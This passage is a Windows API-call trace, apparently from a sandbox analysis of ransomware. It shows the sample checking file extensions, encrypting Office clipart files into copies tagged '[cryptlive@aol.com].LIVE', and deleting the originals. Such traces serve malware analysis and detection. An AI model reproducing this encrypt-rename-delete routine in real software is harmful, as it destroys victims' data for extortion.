[0141.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.058] lstrlenW (lpString=".doc") returned 4 [0141.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.059] lstrlenW (lpString=".docx") returned 5 [0141.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.059] lstrlenW (lpString=".pdf") returned 4 [0141.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.059] lstrlenW (lpString=".xls") returned 4 [0141.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.059] lstrlenW (lpString=".xlsx") returned 5 [0141.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.059] lstrlenW (lpString=".ppt") returned 4 [0141.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.059] lstrlenW (lpString=".zip") returned 4 [0141.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.059] lstrlenW (lpString=".rar") returned 4 [0141.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.059] lstrlenW (lpString=".bz2") returned 4 [0141.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.059] lstrlenW (lpString=".7z") returned 3 [0141.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.059] lstrlenW (lpString=".dbf") returned 4 [0141.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.059] lstrlenW (lpString=".1cd") returned 4 [0141.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0141.059] lstrlenW (lpString=".jpg") returned 4 [0141.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.059] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.059] lstrlenW (lpString="DD01039_.WMF") returned 12 [0141.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.060] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=14820) returned 1 [0141.060] CloseHandle (hObject=0x3a4) returned 1 [0141.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20 [0141.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.061] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.061] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0141.061] GetLastError () returned 0x0 [0141.061] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x39e4, lpOverlapped=0x0) returned 1 [0141.063] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x39f0, lpOverlapped=0x0) returned 1 [0141.064] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.064] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.064] SetEndOfFile (hFile=0x3ac) returned 1 [0141.064] CloseHandle (hObject=0x3ac) returned 1 [0141.065] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.065] SetEndOfFile (hFile=0x3a4) returned 1 [0141.067] CloseHandle (hObject=0x3a4) returned 1 [0141.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0141.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.069] lstrlenW (lpString=".doc") returned 4 [0141.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.069] lstrlenW (lpString=".docx") returned 5 [0141.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.069] lstrlenW (lpString=".pdf") returned 4 [0141.069] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.069] lstrlenW (lpString=".xls") returned 4 [0141.069] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.069] lstrlenW (lpString=".xlsx") returned 5 [0141.069] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.069] lstrlenW (lpString=".ppt") returned 4 [0141.069] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.069] lstrlenW (lpString=".zip") returned 4 [0141.069] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.069] lstrlenW (lpString=".rar") returned 4 [0141.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.070] lstrlenW (lpString=".bz2") returned 4 [0141.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.070] lstrlenW (lpString=".7z") returned 3 [0141.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.070] lstrlenW (lpString=".dbf") returned 4 [0141.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.070] lstrlenW (lpString=".1cd") returned 4 [0141.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.070] lstrlenW (lpString=".jpg") returned 4 [0141.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.070] lstrlenW (lpString=".doc") returned 4 [0141.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.070] lstrlenW (lpString=".docx") returned 5 [0141.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.070] lstrlenW (lpString=".pdf") returned 4 [0141.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.070] lstrlenW (lpString=".xls") returned 4 [0141.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.070] lstrlenW (lpString=".xlsx") returned 5 [0141.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.070] lstrlenW (lpString=".ppt") returned 4 [0141.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.070] lstrlenW (lpString=".zip") returned 4 [0141.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.070] lstrlenW (lpString=".rar") returned 4 [0141.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.070] lstrlenW (lpString=".bz2") returned 4 [0141.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.071] lstrlenW (lpString=".7z") returned 3 [0141.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.071] lstrlenW (lpString=".dbf") returned 4 [0141.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.071] lstrlenW (lpString=".1cd") returned 4 [0141.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63 [0141.071] lstrlenW (lpString=".jpg") returned 4 [0141.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.071] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.071] lstrlenW (lpString="DD01138_.WMF") returned 12 [0141.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.071] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=3692) returned 1 [0141.071] CloseHandle (hObject=0x3a4) returned 1 [0141.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20 [0141.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.072] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.072] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0141.073] GetLastError () returned 0x0 [0141.073] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xe6c, lpOverlapped=0x0) returned 1 [0141.222] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe70, lpOverlapped=0x0) returned 1 [0141.224] ReadFile (in: hFile=0x3a4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.224] WriteFile (in: hFile=0x3ac, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.224] SetEndOfFile (hFile=0x3ac) returned 1 [0141.224] CloseHandle (hObject=0x3ac) returned 1 [0141.224] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.224] SetEndOfFile (hFile=0x3a4) returned 1 [0141.226] CloseHandle (hObject=0x3a4) returned 1 [0141.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0141.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.250] lstrlenW (lpString=".doc") returned 4 [0141.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.250] lstrlenW (lpString=".docx") returned 5 [0141.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.250] lstrlenW (lpString=".pdf") returned 4 [0141.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.250] lstrlenW (lpString=".xls") returned 4 [0141.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.250] lstrlenW (lpString=".xlsx") returned 5 [0141.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.250] lstrlenW (lpString=".ppt") returned 4 [0141.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.250] lstrlenW (lpString=".zip") returned 4 [0141.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.250] lstrlenW (lpString=".rar") returned 4 [0141.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.250] lstrlenW (lpString=".bz2") returned 4 [0141.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.250] lstrlenW (lpString=".7z") returned 3 [0141.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.250] lstrlenW (lpString=".dbf") returned 4 [0141.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.250] lstrlenW (lpString=".1cd") returned 4 [0141.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.250] lstrlenW (lpString=".jpg") returned 4 [0141.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.251] lstrlenW (lpString=".doc") returned 4 [0141.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.251] lstrlenW (lpString=".docx") returned 5 [0141.251] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.251] lstrlenW (lpString=".pdf") returned 4 [0141.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.251] lstrlenW (lpString=".xls") returned 4 [0141.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.251] lstrlenW (lpString=".xlsx") returned 5 [0141.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.251] lstrlenW (lpString=".ppt") returned 4 [0141.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.251] lstrlenW (lpString=".zip") returned 4 [0141.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.251] lstrlenW (lpString=".rar") returned 4 [0141.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.251] lstrlenW (lpString=".bz2") returned 4 [0141.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.251] lstrlenW (lpString=".7z") returned 3 [0141.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.251] lstrlenW (lpString=".dbf") returned 4 [0141.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.251] lstrlenW (lpString=".1cd") returned 4 [0141.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63 [0141.251] lstrlenW (lpString=".jpg") returned 4 [0141.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.251] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.251] lstrlenW (lpString="DD01145_.WMF") returned 12 [0141.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0141.252] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2780) returned 1 [0141.252] CloseHandle (hObject=0x3ac) returned 1 [0141.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20 [0141.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0141.252] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.253] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0141.253] GetLastError () returned 0x0 [0141.253] ReadFile (in: hFile=0x3ac, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xadc, lpOverlapped=0x0) returned 1 [0141.356] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xae0, lpOverlapped=0x0) returned 1 [0141.357] ReadFile (in: hFile=0x3ac, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.357] WriteFile (in: hFile=0x388, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.358] SetEndOfFile (hFile=0x388) returned 1 [0141.358] CloseHandle (hObject=0x388) returned 1 [0141.358] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.358] SetEndOfFile (hFile=0x3ac) returned 1 [0141.360] CloseHandle (hObject=0x3ac) returned 1 [0141.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0141.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.362] lstrlenW (lpString=".doc") returned 4 [0141.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.362] lstrlenW (lpString=".docx") returned 5 [0141.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.362] lstrlenW (lpString=".pdf") returned 4 [0141.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.362] lstrlenW (lpString=".xls") returned 4 [0141.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.362] lstrlenW (lpString=".xlsx") returned 5 [0141.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.362] lstrlenW (lpString=".ppt") returned 4 [0141.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.362] lstrlenW (lpString=".zip") returned 4 [0141.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.362] lstrlenW (lpString=".rar") returned 4 [0141.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.362] lstrlenW (lpString=".bz2") returned 4 [0141.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.362] lstrlenW (lpString=".7z") returned 3 [0141.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.362] lstrlenW (lpString=".dbf") returned 4 [0141.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.362] lstrlenW (lpString=".1cd") returned 4 [0141.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.362] lstrlenW (lpString=".jpg") returned 4 [0141.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0141.363] lstrlenW (lpString=".doc") returned 4 [0141.363] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.363] lstrlenW (lpString=".docx") returned 5 [0141.363] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.363] lstrlenW (lpString=".pdf") returned 4 [0141.363] 